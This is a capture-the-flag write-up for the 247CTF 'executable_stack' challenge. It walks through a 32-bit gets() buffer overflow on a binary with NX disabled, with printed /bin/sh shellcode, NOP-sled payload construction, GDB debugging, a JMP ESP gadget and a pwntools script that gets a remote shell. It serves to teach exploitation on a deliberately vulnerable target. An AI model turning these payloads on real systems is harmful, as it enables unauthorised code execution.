Executable Stack Challenge 247CTF.
This challenge is one of the basic pwn challenges from 247CTF. For this challenge, I recommend installing peda, and making sure ASLR is turned off on your machine before starting.
chiv@Dungeon:~/247ctf/executable_stack$ checksec ./executable_stack [*] '/home/chiv/247ctf/executable_stack/executable_stack' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments chiv@Dungeon:~/247ctf/executable_stack$
Identifying the vulnerability.
This binary is vulnerable to a classic buffer overflow with an executable stack and static memory addresses, so all we need to do is gather the parts necessary to fill up stack with nops and our shellcode, then overwrite the EIP to return to our nops, and slide to our shellcode.
First, let's figure out the length of the buffer, for this, we can either open the binary in something like ghidra, and read the var length, or we can do it manually.
chiv@Dungeon:~/247ctf/executable_stack$ for i in $(seq 0 300); do echo $i; python -c 'print "A"*'$i | ./executable_stack; done
After a while, we notice our output changes, and our fuzzing returns:
136 There are no flag functions here! You can try to make your own though: Segmentation fault (core dumped)
For a closer look at the size of the buffer, we can use, as previously mentioned, ghidra. This can be done by installing ghidra, starting a new project, importing the binary, and then going to functions > main. Once we have imported the binary, and opened the main function, we are presented with the following:
We don't see any functions that accept input here, so we can follow the code, and we notice an interesting function called "chall()". After double clicking on the "chall" part, of the source-code, we are introduced to a new chunk of code, as seen below:
Bingo, here is our input, a gets() function. To find out more about this function, try
man gets in your terminal. We see it gets input for a variable called "local_8c", and at the top, on line 5, local_8c is defined to be 132 characters long. So that is what we control, and our buffer length.
Since this is a simple stack based buffer overflow, all we need to do is return to the space we control (the contents of the local_8c). For this to work, we need a combination of components:
- 32-bit /bin/sh shellcode.
- Address to return to on the stack where our shellcode is located.
- Knowledge of buffer size (as discovered above)
So we know the buffer is 132. For the next step of the challenge, we need to gather our shellcode. This page by shell-storm is always my go to for 32 bit linux, and the shellcode works flawlessly (this specific shellcode can be used to spawn a /bin/sh shell).
Now we have two out of our three components, buffer size, and shellcode. We just need to know where to return to on the stack now. For this, we can use GDB (I will be using gdb-peda, although you can use the plain GDB version for this too).
We can load the executable into gdb as so:
Once loaded into GDB, we need to properly take a look at the binary, and find a point to break just after the gets() function, so we can see where on the stack it is placed.
We need to disassemble the binaries chall() function, grab the memory address that seems reasonable (in this case, I used an address that is assigned to a NOP):
After the breakpoint has been set, we can start playing with the binary. We can use python to feed the binary any non-printable characters, such as nops (
\x90) or our shellcode. So, we have the ability to give the binary anything, in my case, I chose to give it 2 bytes less than the buffer size in nops. After feeding the binary the nops, it will reach our breakpoint, and we can use the examine feature in GDB to analyze the contents of ESP:
gdb-peda$ run <<< $(python -c 'print "\x90"*130') Starting program: /home/chiv/247ctf/executable_stack/executable_stack <<< $(python -c 'print "\x90"*130') There are no flag functions here! You can try to make your own though: [----------------------------------registers-----------------------------------] EAX: 0xffffcb00 --> 0x90909090 EBX: 0x804a000 --> 0x8049f10 --> 0x1 ECX: 0xf7fa25c0 --> 0xfbad2088 EDX: 0xf7fa389c --> 0x0 ESI: 0xf7fa2000 --> 0x1d7d6c EDI: 0x0 EBP: 0xffffcb88 --> 0xffffcb98 --> 0x0 ESP: 0xffffcb00 --> 0x90909090 EIP: 0x80484e0 (<chall+40>: nop) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80484d6 <chall+30>: mov ebx,eax 0x80484d8 <chall+32>: call 0x8048350 <gets@plt> 0x80484dd <chall+37>: add esp,0x10 => 0x80484e0 <chall+40>: nop 0x80484e1 <chall+41>: mov ebx,DWORD PTR [ebp-0x4] 0x80484e4 <chall+44>: leave 0x80484e5 <chall+45>: ret 0x80484e6 <main>: lea ecx,[esp+0x4] [------------------------------------stack-------------------------------------] 0000| 0xffffcb00 --> 0x90909090 0004| 0xffffcb04 --> 0x90909090 0008| 0xffffcb08 --> 0x90909090 0012| 0xffffcb0c --> 0x90909090 0016| 0xffffcb10 --> 0x90909090 0020| 0xffffcb14 --> 0x90909090 0024| 0xffffcb18 --> 0x90909090 0028| 0xffffcb1c --> 0x90909090 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x080484e0 in chall () gdb-peda$ x/700wx $esp 0xffffcb00: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb10: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb20: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb30: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb40: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb50: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb60: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcb70: 0x90909090 0x90909090 0x90909090 0x90909090
Perfect, so the address
0xffffcb20 seems to land slap bang in the middle of our nopsleds. We have our EIP, although we need to convert the address to little endian first, this can be done by removing the "0x", splitting the binary into groups of two, reversing the groups, and adding the
ff ff cb 20
20 cb ff ff
So now we have all of the pieces needed to put together our payload for the challenge. We can start logically building our exploit.
First, we need to fill the buffer with our nops (minus the length of our shellcode). So we know our buffer is 132 bytes long, in python we can automate all of this, if we know our shellcode is
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80, we can assign it to a variable, and then use the len() function in python to minus that from the length of the buffer.
python -c 'shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print "\x90"*(132 - len(shellcode))'
This means we have the right amount of NOPs to fit both our slide and shellcode into the buffer, so we can append our shellcode the output from the python command.
python -c 'shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print "\x90"*(132 - len(shellcode)) + shellcode'
Once we have our NOPs and shellcode in our buffer, we need to overwrite the addresses that follow the buffer we control (this is the reason for the difference between ghidra saying the buffer was 132 bytes long, and the binary crashing at 136, a 4 byte address).
We can play around in GDB until we have the correct placement simply by crashing the application inside the debugger, and seeing what address it crashes at (this is what we have overwritten, the return address).
As you can see, I sent the application 132 "A"s, and 12 "B"s, and we successfully changed EIP to 0x42424242 (4 B's).
We have 132 NOPs (- the length of our shellcode) + our shellcode + 8 NOPs to reach the EIP location + the address of our return address in little endian.
python -c 'shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print "\x90"*(132 - len(shellcode)) + shellcode + "\x90"*8 + EIP'
Where EIP is our return address (
We can try our exploit on the binary now, we shouldn't get a segmentation fault, so if we do, we know we have made a mistake somewhere.
chiv@Dungeon:~/247ctf/executable_stack$ ./executable_stack <<< $(python -c 'shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; print "\x90"*(132 - len(shellcode)) + shellcode + "\x90"*8 + "\x20\xcb\xff\xff"') There are no flag functions here! You can try to make your own though: Illegal instruction (core dumped) chiv@Dungeon:~/247ctf/executable_stack$
Hmmmmm, we don't get a SIGSEGV, but we do get illegal instruction. To debug the issue, I am going to use a method that a friend (Kaorz) showed me, by dumping the core, and then analyzing it in GDB.
This can be done as follows:
ulimit -c unlimited
Then run the command that crashes, and ensure a "core" file has been created after the crash.
Finally, we can open the core file using gdb:
gdb ./executable_stack core
Once in GDB, we can inspect the current registers with
i r, and start looking for our shellcode at the location of ESP.
We can't see any 90's nearby, so we can keep on modifying the location to search with
There they are, we can select one of the memory addresses that has a full line of 0x90's, for example
0xffffcb7c, and that can be our new return address. The reason for the change in EIP's is the fact that GDB can be affected by environment variables, as explained here. Whereas, when we load the core, they are all the values generated outside of GDB, so they are valid for our final exploit.
Furthermore, after a quick glance at our shellcode, we notice that certain chunks are covered in
0x00000000, and knowing our shellcode starts with 31, and ends with 80, we notice these null chunks are actually across our shellcode, which could be why we received
To fix this, we still have a lot of space in our stack that is just taken up by NOPs, so we can move the shellcode forward, and remove NOPs from the start, but make sure to add them on to the end to keep our payloads structure.
For this, I took 32 bytes off of the start, and added them to the end, to form this structure:
"\x90"*(100 - len(shellcode)) + shellcode + "\x90"*40 + EIP*10
Finally we can test our payload, and notice that no errors appear in the output, although it closes straight after execution. We can use "cat" to keep the input output stream open, and be able to execute commands through our malicious input, this can be done as follows:
chiv@Dungeon:~/247ctf/executable_stack$ (python -c 'shellcode="SHELLCODE"; print "\x90"*(100 - len(shellcode)) + shellcode + "\x90"*40 + "EIP"*10';cat) | ./executable_stack There are no flag functions here! You can try to make your own though: whoami chiv id uid=1000(chiv) gid=1000(chiv) groups=1000(chiv),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Finally, connect to the remote server and jump to /bin/sh! We can even make a python script to automate the process:
from pwn import * host,port = "XXXX.247ctf.com",50150 r = remote(host,port) shellcode = "SHELLCODE" payload = "\x90"*(100 - len(shellcode)) + shellcode + "\x90"*40 + "EIP"*10 r.recv() r.send(payload) r.interactive()
chiv@Dungeon:~/247ctf/executable_stack$ python3 exploit.py [+] Opening connection to XXXX.247ctf.com on port 50072: Done [*] Switching to interactive mode $ ls [*] Got EOF while reading in interactive $ whoami $ [*] Closed connection to XXXX.247ctf.com port 50072 [*] Got EOF while sending in interactive chiv@Dungeon:~/247ctf/executable_stack$
Oh... that's not right. It seems the stack addresses vary from local to remote, so we can't set our EIP to be the start of the stack. The binary needs to know where the stack is to be able to return to it when needed, so if we can find a "JMP ESP" instruction, we can point at the address that calls it, and make the application jump to their start of the stack, instead of a set address (ours).
After taking another look at the binary in object dump, we notice a strange function called
asm_bounce that has our desired instruction.
chiv@Dungeon:~/247ctf/executable_stack$ objdump -d ./executable_stack ./executable_stack: file format elf32-i386 Disassembly of section .init: 0804830c <_init>: 804830c: 53 push %ebx 804830d: 83 ec 08 sub $0x8,%esp 8048310: e8 cb 00 00 00 call 80483e0 <__x86.get_pc_thunk.bx> 8048315: 81 c3 eb 1c 00 00 add $0x1ceb,%ebx 804831b: 8b 83 f8 ff ff ff mov -0x8(%ebx),%eax 8048321: 85 c0 test %eax,%eax 8048323: 74 05 je 804832a <_init+0x1e> [...] 080484a6 <asm_bounce>: 80484a6: 55 push %ebp 80484a7: 89 e5 mov %esp,%ebp 80484a9: e8 8e 00 00 00 call 804853c <__x86.get_pc_thunk.ax> 80484ae: 05 52 1b 00 00 add $0x1b52,%eax 80484b3: ff e4 jmp *%esp 80484b5: 90 nop 80484b6: 5d pop %ebp 80484b7: c3 ret [...]
Take note of the address of the instruction, we can use this to jump to the ESP once it is pointing to to outside of our vulnerable functions stack frame. By doing this, it means we need to modify our payload, we now want to fill up the vulnerable functions stack frame with our nops, up to the return address, where we can jump to this JMP ESP instruction. After the exit of the previous function stack frame, ESP will change to the previously called functions stack frame, which is conveniently where we wrote our shellcode to.
All in all, our payload should end up with:
NOPs overwriting the whole of the function's stack frame up to the where the return address is stored (which we want to replace with the JMP ESP instruction address), then, after overwriting the RET address, we place our shellcode, which is where ESP will point to upon exiting the vulnerable function.
chiv@Dungeon:~/247ctf/executable_stack$ python3 exploit.py [+] Opening connection to XXXX.247ctf.com on port 50387: Done [*] Switching to interactive mode $ whoami notroot $